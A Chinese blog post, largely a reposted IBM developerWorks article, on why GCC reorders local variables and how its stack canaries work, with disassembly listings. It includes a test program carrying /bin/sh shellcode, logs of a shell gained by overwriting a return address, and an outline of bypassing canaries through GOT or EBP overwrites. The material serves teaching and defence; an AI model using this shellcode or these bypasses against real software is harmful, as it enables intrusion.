GCC編譯器局部變量地址分配爲什麼總是從低地址向高地址增加?

如題,使用GCC編譯器時發現,局部變量的地址總是從低地址向高地址分配,而dev c中局部變量卻是從高地址向低地址分配的?

棧分配的方向是從高地址向低地址分配,但在變量內部地址是從低地址向高地址增長”一直都是這樣理解的,以爲所有編譯器都是按照這種方式來分配變量地址的。但是gcc卻不是,我用的版本是4.8.4.

原因:GCC的堆棧保護技術—— canary的使用。

使用的原因是爲了防止某些溢出的攻擊。但是隻是溢出時方向發生了改變,並沒有起到太大的作用,可能對於傳統的一些攻擊方法有用。

下面是一篇canary方法的講解:

轉載地址:http://www.ibm.com/developerworks/cn/linux/l-cn-gccstack/


以堆棧溢出爲代表的緩衝區溢出已成爲最爲普遍的安全漏洞。由此引發的安全問題比比皆是。早在 1988 年,美國康奈爾大學的計算機科學系研究生莫里斯 (Morris) 利用 UNIX fingered 程序的溢出漏洞,寫了一段惡意程序並傳播到其他機器上,結果造成 6000 臺 Internet 上的服務器癱瘓,佔當時總數的 10%。各種操作系統上出現的溢出漏洞也數不勝數。爲了儘可能避免緩衝區溢出漏洞被攻擊者利用,現今的編譯器設計者已經開始在編譯器層面上對堆棧進行保護。現在已經有了好幾種編譯器堆棧保護的實現,其中最著名的是 StackGuard 和 Stack-smashing Protection (SSP,又名 ProPolice)。

編譯器堆棧保護原理

我們知道攻擊者利用堆棧溢出漏洞時,通常會破壞當前的函數棧。例如,攻擊者利用清單 1 中的函數的堆棧溢出漏洞時,典型的情況是攻擊者會試圖讓程序往 name 數組中寫超過數組長度的數據,直到函數棧中的返回地址被覆蓋,使該函數返回時跳轉至攻擊者注入的惡意代碼或 shellcode 處執行(關於溢出攻擊的原理參見《Linux 下緩衝區溢出攻擊的原理及對策》)。溢出攻擊後,函數棧變成了圖 2 所示的情形,與溢出前(圖 1)比較可以看出原本堆棧中的 EBP,返回地址已經被溢出字符串覆蓋,即函數棧已經被破壞。

清單 1. 可能存在溢出漏洞的代碼
int vulFunc() {
    char name[10];
    //…
    return 0;
}
圖 1. 溢出前的函數棧
溢出前的函數棧
圖 2. 溢出後的函數棧
溢出後的函數棧

如果能在運行時檢測出這種破壞,就有可能對函數棧進行保護。目前的堆棧保護實現大多使用基於 “Canaries” 的探測技術來完成對這種破壞的檢測。

“Canaries” 探測:

要檢測對函數棧的破壞,需要修改函數棧的組織,在緩衝區和控制信息(如 EBP 等)間插入一個 canary word。這樣,當緩衝區被溢出時,在返回地址被覆蓋之前 canary word 會首先被覆蓋。通過檢查 canary word 的值是否被修改,就可以判斷是否發生了溢出攻擊。

常見的 canary word:

  • Terminator canaries
  • 由於絕大多數的溢出漏洞都是由那些不做數組越界檢查的 C 字符串處理函數引起的,而這些字符串都是以 NULL 作爲終結字符的。選擇 NULL, CR, LF 這樣的字符作爲 canary word 就成了很自然的事情。例如,若 canary word 爲 0x000aff0d,爲了使溢出不被檢測到,攻擊者需要在溢出字符串中包含 0x000aff0d 並精確計算 canaries 的位置,使 canaries 看上去沒有被改變。然而,0x000aff0d 中的 0x00 會使 strcpy() 結束複製從而防止返回地址被覆蓋。而 0x0a 會使 gets() 結束讀取。插入的 terminator canaries 給攻擊者製造了很大的麻煩。
  • Random canaries
  • 這種 canaries 是隨機產生的。並且這樣的隨機數通常不能被攻擊者讀取。這種隨機數在程序初始化時產生,然後保存在一個未被隱射到虛擬地址空間的內存頁中。這樣當攻擊者試圖通過指針訪問保存隨機數的內存時就會引發 segment fault。但是由於這個隨機數的副本最終會作爲 canary word 被保存在函數棧中,攻擊者仍有可能通過函數棧獲得 canary word 的值。
  • Random XOR canaries
  • 這種 canaries 是由一個隨機數和函數棧中的所有控制信息、返回地址通過異或運算得到。這樣,函數棧中的 canaries 或者任何控制信息、返回地址被修改就都能被檢測到了。

目前主要的編譯器堆棧保護實現,如 Stack Guard,Stack-smashing Protection(SSP) 均把 Canaries 探測作爲主要的保護技術,但是 Canaries 的產生方式各有不同。下面以 GCC 爲例,簡要介紹堆棧保護技術在 GCC 中的應用。

GCC 中的堆棧保護實現

Stack Guard 是第一個使用 Canaries 探測的堆棧保護實現,它於 1997 年作爲 GCC 的一個擴展發佈。最初版本的 Stack Guard 使用 0x00000000 作爲 canary word。儘管很多人建議把 Stack Guard 納入 GCC,作爲 GCC 的一部分來提供堆棧保護。但實際上,GCC 3.x 沒有實現任何的堆棧保護。直到 GCC 4.1 堆棧保護才被加入,並且 GCC4.1 所採用的堆棧保護實現並非 Stack Guard,而是 Stack-smashing Protection(SSP,又稱 ProPolice)。

SSP 在 Stack Guard 的基礎上進行了改進和提高。它是由 IBM 的工程師 Hiroaki Rtoh 開發並維護的。與 Stack Guard 相比,SSP 保護函數返回地址的同時還保護了棧中的 EBP 等信息。此外,SSP 還有意將局部變量中的數組放在函數棧的高地址,而將其他變量放在低地址。這樣就使得通過溢出一個數組來修改其他變量(比如一個函數指針)變得更爲困難。

GCC 4.1 中三個與堆棧保護有關的編譯選項

-fstack-protector:

啓用堆棧保護,不過只爲局部變量中含有 char 數組的函數插入保護代碼。

-fstack-protector-all:

啓用堆棧保護,爲所有函數插入保護代碼。

-fno-stack-protector:

禁用堆棧保護。

GCC 中的 Canaries 探測

下面通過一個例子分析 GCC 堆棧保護所生成的代碼。分別使用 -fstack-protector 選項和 -fno-stack-protector 編譯清單2中的代碼得到可執行文件 demo_sp (-fstack-protector),demo_nosp (-fno-stack-protector)。

清單 2. demo.c
int main() {
    int i;
    char buffer[64];
    i = 1;
    buffer[0] = 'a';
    return 0;
}

然後用 gdb 分別反彙編 demo_sp,deno_nosp。

清單 3. demo_nosp 的彙編代碼
(gdb) disas main
Dump of assembler code for function main:
0x08048344 <main+0>:    lea    0x4(%esp),%ecx
0x08048348 <main+4>:    and    $0xfffffff0,%esp
0x0804834b <main+7>:    pushl  0xfffffffc(%ecx)
0x0804834e <main+10>:   push   %ebp
0x0804834f <main+11>:   mov    %esp,%ebp
0x08048351 <main+13>:   push   %ecx
0x08048352 <main+14>:   sub    $0x50,%esp
0x08048355 <main+17>:   movl   $0x1,0xfffffff8(%ebp)
0x0804835c <main+24>:   movb   $0x61,0xffffffb8(%ebp)
0x08048360 <main+28>:   mov    $0x0,%eax
0x08048365 <main+33>:   add    $0x50,%esp
0x08048368 <main+36>:   pop    %ecx
0x08048369 <main+37>:   pop    %ebp
0x0804836a <main+38>:   lea    0xfffffffc(%ecx),%esp
0x0804836d <main+41>:   ret    
End of assembler dump.
清單 4. demo_sp 的彙編代碼
(gdb) disas main
Dump of assembler code for function main:
0x08048394 <main+0>:    lea    0x4(%esp),%ecx
0x08048398 <main+4>:    and    $0xfffffff0,%esp
0x0804839b <main+7>:    pushl  0xfffffffc(%ecx)
0x0804839e <main+10>:   push   %ebp
0x0804839f <main+11>:   mov    %esp,%ebp
0x080483a1 <main+13>:   push   %ecx
0x080483a2 <main+14>:   sub    $0x54,%esp
0x080483a5 <main+17>:   mov    %gs:0x14,%eax
0x080483ab <main+23>:   mov    %eax,0xfffffff8(%ebp)
0x080483ae <main+26>:   xor    %eax,%eax
0x080483b0 <main+28>:   movl   $0x1,0xffffffb4(%ebp)
0x080483b7 <main+35>:   movb   $0x61,0xffffffb8(%ebp)
0x080483bb <main+39>:   mov    $0x0,%eax
0x080483c0 <main+44>:   mov    0xfffffff8(%ebp),%edx
0x080483c3 <main+47>:   xor    %gs:0x14,%edx
0x080483ca <main+54>:   je     0x80483d1 <main+61>
0x080483cc <main+56>:   call   0x80482fc <__stack_chk_fail@plt>
0x080483d1 <main+61>:   add    $0x54,%esp
0x080483d4 <main+64>:   pop    %ecx
0x080483d5 <main+65>:   pop    %ebp
0x080483d6 <main+66>:   lea    0xfffffffc(%ecx),%esp
0x080483d9 <main+69>:   ret    
End of assembler dump.

demo_nosp 的彙編代碼中地址爲 0x08048344 的指令將 esp+4 存入 ecx,此時 esp 指向的內存中保存的是返回地址。地址爲 0x0804834b 的指令將 ecx-4 所指向的內存壓棧,由於之前已將 esp+4 存入 ecx,所以該指令執行後原先 esp 指向的內容將被壓棧,即返回地址被再次壓棧。0x08048348 處的 and 指令使堆頂以 16 字節對齊。從 0x0804834e 到 0x08048352 的指令是則保存了舊的 EBP,併爲函數設置了新的棧框。當函數完成時,0x08048360 處的 mov 指令將返回值放入 EAX,然後恢復原來的 EBP,ESP。不難看出,demo_nosp 的彙編代碼中,沒有任何對堆棧進行檢查和保護的代碼。

將用 -fstack-protector 選項編譯的 demo_sp 與沒有堆棧保護的 demo_nosp 的彙編代碼相比較,兩者最顯著的區別就是在函數真正執行前多了 3 條語句:

0x080483a5 <main+17>:   mov    %gs:0x14,%eax
0x080483ab <main+23>:   mov    %eax,0xfffffff8(%ebp)
0x080483ae <main+26>:   xor    %eax,%eax

在函數返回前又多了 4 條語句:

0x080483c0 <main+44>:   mov    0xfffffff8(%ebp),%edx
0x080483c3 <main+47>:   xor    %gs:0x14,%edx
0x080483ca <main+54>:   je     0x80483d1 <main+61>
0x080483cc <main+56>:   call   0x80482fc <__stack_chk_fail@plt>

這多出來的語句便是 SSP 堆棧保護的關鍵所在,通過這幾句代碼就在函數棧框中插入了一個 Canary,並實現了通過這個 canary 來檢測函數棧是否被破壞。

%gs:0x14 中保存是一個隨機數,0x080483a5 到 0x080483ae 處的 3 條語句將這個隨機數放入了棧中 [EBP-8] 的位置。函數返回前 0x080483c0 到 0x080483cc 處的 4 條語句則將棧中 [EBP-8] 處保存的 Canary 取出並與 %gs:0x14 中的隨機數作比較。若不等,則說明函數執行過程中發生了溢出,函數棧框已經被破壞,此時程序會跳轉到 __stack_chk_fail 輸出錯誤消息然後中止運行。若相等,則函數正常返回。

調整局部變量的順序

以上代碼揭露了 GCC 中 canary 的實現方式。仔細觀察 demo_sp 和 demo_nosp 的彙編代碼,不難發現兩者還有一個細微的區別:開啓了堆棧保護的 semo_sp 程序中,局部變量的順序被重新組織了。

程序中, movl $0x1,0xffffff**(%ebp) 對應於 i = 1;

movb $0x61,0xffffff**(%ebp) 對應於 buffer[0] = ‘a’;

demo_nosp 中,變量 i 的地址爲 0xfffffff8(%ebp),buffer[0] 的地址爲 0xffffffb8(%ebp)。可見,demo_nosp 中,變量 i 在 buffer 數組之前,變量在內存中的順序與代碼中定義的順序相同,見圖 3 左。而在 demo_sp 中,變量 i 的地址爲 0xffffffb4 (%ebp),buffer[0] 的地址爲 0xffffffb8(%ebp),即 buffer 數組被挪到了變量 i 的前面,見圖 3 右。

圖 3. 調整變量順序前後的函數棧
調整變量順序前後的函數棧

demo_sp 中局部變量的組織方式對防禦某些溢出攻擊是有益的。如果數組在其他變量之後(圖 3 左),那麼即使返回地址受到 canary 的保護而無法修改,攻擊者也可能通過溢出數組來修改其他局部變量(如本例中的 int i)。當被修改的其他局部變量是一個函數指針時,攻擊者就很可能利用這種溢出,將函數指針用 shellcode 的地址覆蓋,從而實施攻擊。然而如果用圖 3 右的方式來組織堆棧,就會給這類溢出攻擊帶來很大的困難。

GCC 堆棧保護效果

以上我們從實現的角度分析了 GCC 中的堆棧保護。下面將用一個小程序 overflow_test.c 來驗證 GCC 堆棧保護的實際效果。

清單 5. 溢出攻擊模擬程序 overflow_test.c
#include <stdio.h>
#include <stdlib.h>
char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int test()
{
    int i;
    unsigned int stack[10];
    char my_str[16];
    printf("addr of shellcode in decimal: %d\n", &shellcode);
    for (i = 0; i < 10; i++)
        stack[i] = 0;

    while (1) {
        printf("index of item to fill: (-1 to quit): ");
        scanf("%d",&i);
        if (i == -1) {
            break;
        }
        printf("value of item[%d]:", i);
        scanf("%d",&stack[i]);
    }

    return 0;
}

int main()
{
    test();
    printf("Overflow Failed\n");

    return 0;
}

該程序不是一個實際的漏洞程序,也不是一個攻擊程序,它只是通過模擬溢出攻擊來驗證 GCC 堆棧保護的一個測試程序。它首先會打印出 shellcode 的地址,然後接受用戶的輸入,爲 stack 數組中指定的元素賦值,並且不會對數組邊界進行檢查。

關閉堆棧保護,編譯程序

aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ gcc –fno-stack-protector -o 
overflow_test ./overflow_test.c

不難算出關閉堆棧保護時,stack[12] 指向的位置就是棧中存放返回地址的地方。在 stack [10],stack[11],stack[12] 處填入 shellcode 的地址來模擬通常的溢出攻擊:

aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ ./overflow_test 
addr of shellcode in decimal: 134518560
index of item to fill: (-1 to quit): 10
value of item[11]: 134518560
index of item to fill: (-1 to quit): 11
value of item[11]: 134518560
index of item to fill: (-1 to quit): 12
value of item[12]:134518560
index of item to fill: (-1 to quit): -1
$ ps
  PID TTY          TIME CMD
15035 pts/4    00:00:00 bash
29757 pts/4    00:00:00 sh
29858 pts/4    00:00:00 ps

程序被成功溢出轉而執行 shellcode 獲得了一個 shell。由於沒有開啓堆棧保護,溢出得以成功。

然後開啓堆棧保護,再次編譯並運行程序。

aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ gcc –fno-stack-protector -o 
overflow_test ./overflow_test.c

通過 gdb 反彙編,不難算出,開啓堆棧保護後,返回地址位於 stack[17] 的位置,而 canary 位於 stack[16] 處。在 stack[10],stack[11]…stack[17] 處填入 shellcode 的地址來模擬溢出攻擊:

aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ ./overflow_test 
addr of shellcode in decimal: 134518688
index of item to fill: (-1 to quit): 10
value of item[11]: 134518688
index of item to fill: (-1 to quit): 11
value of item[11]: 134518688
index of item to fill: (-1 to quit): 12
value of item[11]: 134518688
index of item to fill: (-1 to quit): 13
value of item[11]: 134518688
index of item to fill: (-1 to quit): 14
value of item[11]: 134518688
index of item to fill: (-1 to quit): 15
value of item[11]: 134518688
index of item to fill: (-1 to quit): 16
value of item[12]: 134518688
index of item to fill: (-1 to quit): 17
value of item[12]: 134518688
index of item to fill: (-1 to quit): -1
Overflow Failed
*** stack smashing detected ***: ./overflow_test terminated
Aborted

這次溢出攻擊失敗了,提示 ”stack smashing detected”,表明溢出被檢測到了。按照之前對 GCC 生成的堆棧保護代碼的分析,失敗應該是由於 canary 被改變引起的。通過反彙編和計算我們已經知道返回地址位於 stack[17],而 canary 位於 stack[16]。接下來嘗試繞過 canary,只對返回地址進行修改。

aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ ./overflow_test 
addr of shellcode in decimal: 134518688
index of item to fill: (-1 to quit): 17
value of item[17]:134518688
index of item to fill: (-1 to quit): -1
$ ls *.c
bypass.c  exe.c  exp1.c  of_demo.c  overflow.c  overflow_test.c  toto.c  vul1.c
$

這次只把 stack[17] 用 shellcode 的地址覆蓋了,由於沒有修改 canary,返回地址的修改沒有被檢測到,shellcode 被成功執行了。同樣的道理,即使我們沒有修改函數的返回地址,只要 canary 被修改了(stack[16]),程序就會被保護代碼中止。

aktoon@aktoon-thinkpad:~/SCAD/overflow_test$ ./overflow_test 
addr of shellcode in decimal: 134518688
index of item to fill: (-1 to quit): 16
value of item[16]:134518688
index of item to fill: (-1 to quit): -1
Overflow Failed
*** stack smashing detected ***: ./overflow_test terminated
Aborted

在上面的測試中,我們看到編譯器的插入的保護代碼阻止了通常的溢出攻擊。實際上,現在編譯器堆棧保護技術確實使堆棧溢出攻擊變得困難了。

GCC 堆棧保護的侷限

在上面的例子中,我們發現假如攻擊者能夠購繞過 canary,仍然有成功實施溢出攻擊的可能。除此以外,還有一些其他的方法能夠突破編譯器的保護,當然這些方法需要更多的技巧,應用起來也較爲困難。下面對突破編譯器堆棧保護的方法做一簡介。

Canary 探測方法僅對函數堆中的控制信息 (canary word, EBP) 和返回地址進行了保護,沒有對局部變量進行保護。通過溢出覆蓋某些局部變量也可能實施溢出攻擊。此外,Stack Guard 和 SSP 都只提供了針對棧的溢出保護,不能防禦堆中的溢出攻擊。

在某些情況下,攻擊者還可以利用函數參數來實現溢出攻擊。我們用下面的例子來說明這種攻擊的原理。

清單 6. 漏洞代碼 vul.c
int func(char *msg) {
    char buf[80];
    strcpy(buf,msg);
    strcpy(msg,buf);
}
int main(int argv, char** argc) {
    func(argc[1]);
}

運行時,func 函數的棧框如下圖所示。

圖 4. func 的函數棧
func 的函數棧

通過 strcpy(buf,msg),我們可以將 buf 數組溢出,直至將參數 msg 覆蓋。接下來的 strcpy(msg,buf) 會向 msg 所指向的內存中寫入 buf 中的內容。由於第一步的溢出中,我們已經控制了 msg 的內容,所以實際上通過上面兩步我們可以向任何不受保護的內存中寫入任何數據。雖然在以上兩步中,canaries 已經被破壞,但是這並不影響我們完成溢出攻擊,因爲針對 canaries 的檢查只在函數返回前才進行。通過構造合適的溢出字符串,我們可以修改內存中程序 ELF 映像的 GOT(Global Offset Table)。假如我們通過溢出字符串修改了 GOT 中 _exit() 的入口,使其指向我們的 shellcode,當函數返回前檢查到 canary 被修改後,會提示出錯並調用 _exit() 中止程序。而此時的的 _exit() 已經指向了我們的 shellcode,所以程序不會退出,並且 shellcode 會被執行,這樣就達到了溢出攻擊的目的。

上面的例子展示了利用參數避開保護進行溢出攻擊的原理。此外,由於返回地址是根據 EBP 來定位的,即使我們不能修改返回地址,假如我們能夠修改 EBP 的值,那麼就修改了存放返回地址的位置,相當於間接的修改了返回地址。可見,GCC 的堆棧保護並不是萬能的,它仍有一定的侷限性,並不能完全杜絕堆棧溢出攻擊。雖然面對編譯器的堆棧保護,我們仍可能有一些技巧來突破這些保護,但是這些技巧通常受到很多條件的制約,實際應用起來有一定的難度。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章